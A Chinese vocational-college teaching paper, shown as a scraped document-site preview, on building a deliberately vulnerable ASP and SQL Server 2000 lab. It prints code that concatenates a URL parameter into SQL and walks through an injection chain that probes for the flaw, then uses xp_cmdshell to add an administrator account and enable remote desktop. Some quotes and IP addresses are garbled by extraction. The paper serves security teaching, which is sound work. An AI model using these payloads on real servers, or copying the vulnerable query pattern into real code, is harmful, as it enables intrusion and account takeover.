高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究_第1頁
高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究_第2頁
高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究_第3頁
高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究_第4頁
已閱讀5頁,還剩6頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、 高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究 曾煌存(廣東外語藝術(shù)職業(yè)學(xué)院 廣東 廣州 510640)Reference:SQL注入攻擊是黑客攻擊最常用的手段之一,其危害極大。在高職院校的網(wǎng)絡(luò)安全課中,使學(xué)生掌握SQL注入攻擊和相應(yīng)的防范措施是一個教學(xué)難點。如果能夠搭建一個簡單的具有SQL注入漏洞的實驗環(huán)境,讓學(xué)生在這個實驗環(huán)境中進(jìn)行模擬攻擊,對于學(xué)生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大的好處,進(jìn)而能讓學(xué)生更好地掌握相應(yīng)的安全防范措施??偨Y(jié)SQL注入攻擊實驗環(huán)境搭建及使用實踐,旨在對高職院校的SQL注入攻擊與防范實訓(xùn)教學(xué)起到一定的促進(jìn)作用。Keys:高職院校;SQL注入攻擊;

2、實驗環(huán)境;網(wǎng)絡(luò)安全G712 :A :1672-5727(2013)12-0168-03研究意義SQL注入攻擊是黑客攻擊最常用的手段之一,其危害極大。一些不具備很多網(wǎng)絡(luò)安全技術(shù)的“腳本小子”,使用一些傻瓜式SQL注入攻擊工具,就可能攻陷網(wǎng)站,進(jìn)而控制服務(wù)器。高職院校的網(wǎng)絡(luò)安全與防范課程,具有培養(yǎng)學(xué)生掌握較高網(wǎng)絡(luò)安全防范技能的任務(wù)。因此,必須使學(xué)生掌握好SQL注入攻擊的防范措施。而為了真正掌握SQL注入攻擊的防范措施,又必須透徹理解SQL注入攻擊的原理和具體實施步驟。經(jīng)驗表明,這是一個教學(xué)難點,因為它需要精心構(gòu)造SQL語句,來完成信息的查詢、語句的執(zhí)行等。我們開展了一項教學(xué)改革,旨在提高網(wǎng)絡(luò)安全與

3、防范課程的教學(xué)效果。該教學(xué)改革中的一項內(nèi)容,就是研究如何更好地開展SQL注入攻擊的教學(xué)。我們認(rèn)為,如果能夠搭建一個簡單的具有SQL注入漏洞的動態(tài)網(wǎng)站,讓學(xué)生對這個網(wǎng)站進(jìn)行模擬攻擊,對于學(xué)生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大好處,也能讓他們更好地掌握相應(yīng)的安全防范措施。SQL注入攻擊實驗環(huán)境的搭建我們使用VMware WorkStation虛擬機軟件安裝了兩臺虛擬機,一臺虛擬機安裝的是Windows Server 2003操作系統(tǒng),用于模擬被攻擊的服務(wù)器,IP地址為32;另一臺虛擬機安裝的是Windows XP操作系統(tǒng),用于模擬黑客使用的攻擊機,IP地址為33。在Windows

4、 Server 2003虛擬機上,搭建了一個使用ASP+SQL Server 2000開發(fā)的簡單的動態(tài)網(wǎng)站。我們設(shè)計該動態(tài)網(wǎng)站的思路是:該網(wǎng)站具有SQL注入漏洞,能滿足SQL注入攻擊的實驗要求;該網(wǎng)站應(yīng)該盡量簡單,以便于學(xué)生理解、分析和掌握。按照以上設(shè)計思路,我們開發(fā)了一個簡單的名為testweb的動態(tài)網(wǎng)站。該動態(tài)網(wǎng)站需要訪問一個名為testweb的數(shù)據(jù)庫,該數(shù)據(jù)庫包含一個表:tblNews。tblNews用來保存新聞的標(biāo)題和內(nèi)容,初始時在這個表中輸入了一些測試用的數(shù)據(jù)。它的具體結(jié)構(gòu)如表1所示。該網(wǎng)站包括以下三個頁面:conn.asp、news.asp、displayNews.asp。其中co

5、nn.asp用于保存與SQL Server 2000數(shù)據(jù)庫服務(wù)器的連接信息;news.asp用于讀取數(shù)據(jù)庫中的新聞記錄,顯示所有新聞的標(biāo)題,并且將這些標(biāo)題以超鏈接的形式顯示。當(dāng)單擊某個新聞的標(biāo)題后,即可以進(jìn)入形如displayNews.asp?id=xxx的頁面,看到新聞的具體內(nèi)容(其中“xxx”表示某條新聞在tblNews表中ID字段的值)。設(shè)置該網(wǎng)站的默認(rèn)頁面為news.asp。conn.asp的代碼如下所示:%Const SqlDatabaseName = testwebConst SqlPassword = michaeljordanConst SqlUsername = saCons

6、t SqlLocalName = (local)dim ConnStrConnStr = Provider = Sqloledb;User ID = & SqlUsername & ;Password = & SqlPassword & ;Initial Catalog = & SqlDatabaseName & ;Data Source = & SqlLocalName & ;news.asp的代碼如下所示:%Dim connSet conn = Server.CreateObject(ADODB.Connection)conn.open ConnStrdim strSqlstrSql=se

7、lect * from tblNewsdim rsset rs=conn.Execute(strSql)dim newsIDresponse.Write()response.Write()response.Write()while not rs.EOF response.Write()response.Write()newsID=rs(ID)response.Write( & rs(title)& )response.Write()response.Write()rs.MoveNextwendresponse.Write()response.Write()response.Write()rs.

8、close()conn.closeset rs=nothingset conn=nothing%displayNews.asp的代碼如下所示:%Dim connSet conn = Server.CreateObject(ADODB.Connection)conn.open ConnStrdim newsIDnewsID=request(id)dim strSqlstrSql=select * from tblNews where ID= & newsIDdim rsset rs=conn.Execute(strSql)response.Write(rs(content)rs.close()c

9、onn.closeset rs=nothingset conn=nothing%從以上三個頁面的具體代碼可以看出,我們所設(shè)計的動態(tài)網(wǎng)站具有簡單,易于理解、分析和掌握的優(yōu)點。同時頁面displayNews.asp有SQL注入漏洞,可以滿足SQL注入攻擊的實訓(xùn)需要,其具有SQL注入漏洞的具體語句為:strSql=select * from tblNews where ID= & newsID,該語句根據(jù)某條新聞的ID查詢tblNews表的內(nèi)容。我們可以在形如displayNews.asp?id=xxx的地址后面加入精心構(gòu)造的語句,從而執(zhí)行特定的SQL語句,控制服務(wù)器。SQL注入攻擊實驗環(huán)境的使用如

10、上所述,我們開發(fā)的動態(tài)網(wǎng)站testweb具有SQL注入漏洞,下面我們通過具體的入侵步驟來展示該SQL注入攻擊實驗環(huán)境的使用。(以下攻擊步驟參考了相關(guān)網(wǎng)絡(luò)安全書籍的內(nèi)容。)(一)判斷網(wǎng)站是否有SQL注入漏洞可以通過在displayNews.asp?id=1后加上“”、“ and 1=1”和“ and 1=2”等方法來判斷網(wǎng)站是否有SQL注入漏洞。如在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 (1)頁面返回如下錯誤信息:Microsoft OLE DB Provider for SQL Server 錯誤 80040e14 字符串 之前有未閉合的引號。

11、 /testweb/displayNews.asp,行 13從以上提示信息可以看出,數(shù)據(jù)庫服務(wù)器為SQL Server。(1)的原理是:正常的SQL語句為select * from tblNews where ID=1,而(1)導(dǎo)致SQL語句成為:select * from tblNews where ID=1,這樣會使得單引號沒有閉合而出錯。在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and 1=1 (2)返回正常頁面。而在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and 1=2(3)返回的錯誤信息是

12、:ADODB.Field 錯誤 80020009BOF 或 EOF 中有一個是“真”,或者當(dāng)前的記錄已被刪除,所需的操作要求一個當(dāng)前的記錄。 /testweb/displayNews.asp,行 0(2)導(dǎo)致SQL語句成為:select * from tblNews where ID=1 and 1=1,因為1=1為永真式,所以不影響原來的查詢結(jié)果,返回正常頁面。而(3)導(dǎo)致SQL語句成為:select * from tblNews where ID=1 and 1=2,因為1=2為永假式,所以查詢結(jié)果為空,而程序中沒有對此進(jìn)行處理,所以導(dǎo)致出現(xiàn)錯誤提示信息。通過以上測試,可以明確地知道網(wǎng)站存

13、在SQL注入漏洞,而且數(shù)據(jù)庫服務(wù)器為SQL Server。(二)查找是否有xp_cmdshell擴(kuò)展存儲過程在地址欄輸入:http:/32/testweb/displayNews.asp?id=1 and exists(select * from master.dbo.sysobjects where name=xp_cmdshell)頁面返回正常,從而知道m(xù)aster.dbo.sysobjects表中存在擴(kuò)展過程xp_cmdshell。通過執(zhí)行xp_cmdshell存儲過程可以實現(xiàn)添加用戶、將用戶添加到管理員組、開啟遠(yuǎn)程終端連接等許多操作。(三)通過xp_cmdshell添加系統(tǒng)管理員賬戶在

14、地址欄輸入:http:/32/testweb/displayNews.asp?id=1;exec master.xp_cmdshell net user test test/add (4) 頁面返回正常。執(zhí)行該語句后,可以添加一個名為test,密碼也為test的賬戶。(4)的原理是:通過xp_cmdshell擴(kuò)展存儲過程,執(zhí)行net user命令,實現(xiàn)添加賬戶的操作。在地址欄輸入:http:/32/testweb/displayNews.asp?id=1;exec master.xp_cmdshell net localgroup administrators test /add頁面返回正常。

15、執(zhí)行該語句后,可以將賬戶test添加到系統(tǒng)管理員組。(四)開啟目標(biāo)計算機的遠(yuǎn)程終端連接在地址欄輸入:http:/32/testweb/displayNews.asp?id=1;exec master.xp_cmdshell reg add “HKLMSystemCurrentControl-SetControlTerminal Server”/v fDenyTSConnections/t REG_DWORD /d 0/f (5)頁面返回正常。執(zhí)行完后,可以開啟目標(biāo)計算機的遠(yuǎn)程終端連接。(5)的原理是:通過xp_cmdshell擴(kuò)展存儲過程,執(zhí)行reg add語句,完成修改注冊表,開啟遠(yuǎn)程終端連

16、接的操作。執(zhí)行完以上步驟之后,即可以使用新建的test賬號遠(yuǎn)程登錄目標(biāo)計算機32。討論為了使學(xué)生掌握SQL注入攻擊的原理、具體實施步驟和相應(yīng)的防范措施,必須搭建實驗環(huán)境讓他們演練SQL注入攻擊的實施步驟。為此,我們搭建了一個ASP+SQL Server 2000環(huán)境下的SQL Server注入攻擊實驗環(huán)境。我們沒有使用Dvbbs等現(xiàn)成的動態(tài)網(wǎng)站,因為這些動態(tài)網(wǎng)站功能較齊全,但代碼很復(fù)雜,不利于初學(xué)者理解、分析和掌握。我們設(shè)計的動態(tài)網(wǎng)站具有簡單,易于學(xué)生理解、分析和掌握的優(yōu)點。我們演示了在該實驗環(huán)境中進(jìn)行SQL注入攻擊,判斷是否存在SQL注入漏洞,判斷數(shù)據(jù)庫服務(wù)器是否支持xp_cmdshell擴(kuò)展過程,使用xp_cmdshell添加系統(tǒng)管理員賬號、開啟遠(yuǎn)程終端連接、使用攻擊機遠(yuǎn)程登錄目標(biāo)計算機等操作。這表明使用我們搭建的簡單的SQL注入攻擊實驗環(huán)境,可以方便地進(jìn)行SQL注入攻擊演練。這對提高學(xué)生的學(xué)習(xí)興趣,掌握SQL注入攻擊的原理和具體的實施步驟,提高網(wǎng)絡(luò)安全防護(hù)意識等都具有很大的好處。同時,利用該實驗環(huán)境,或者對該實驗環(huán)境稍微進(jìn)行擴(kuò)展,我們還

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論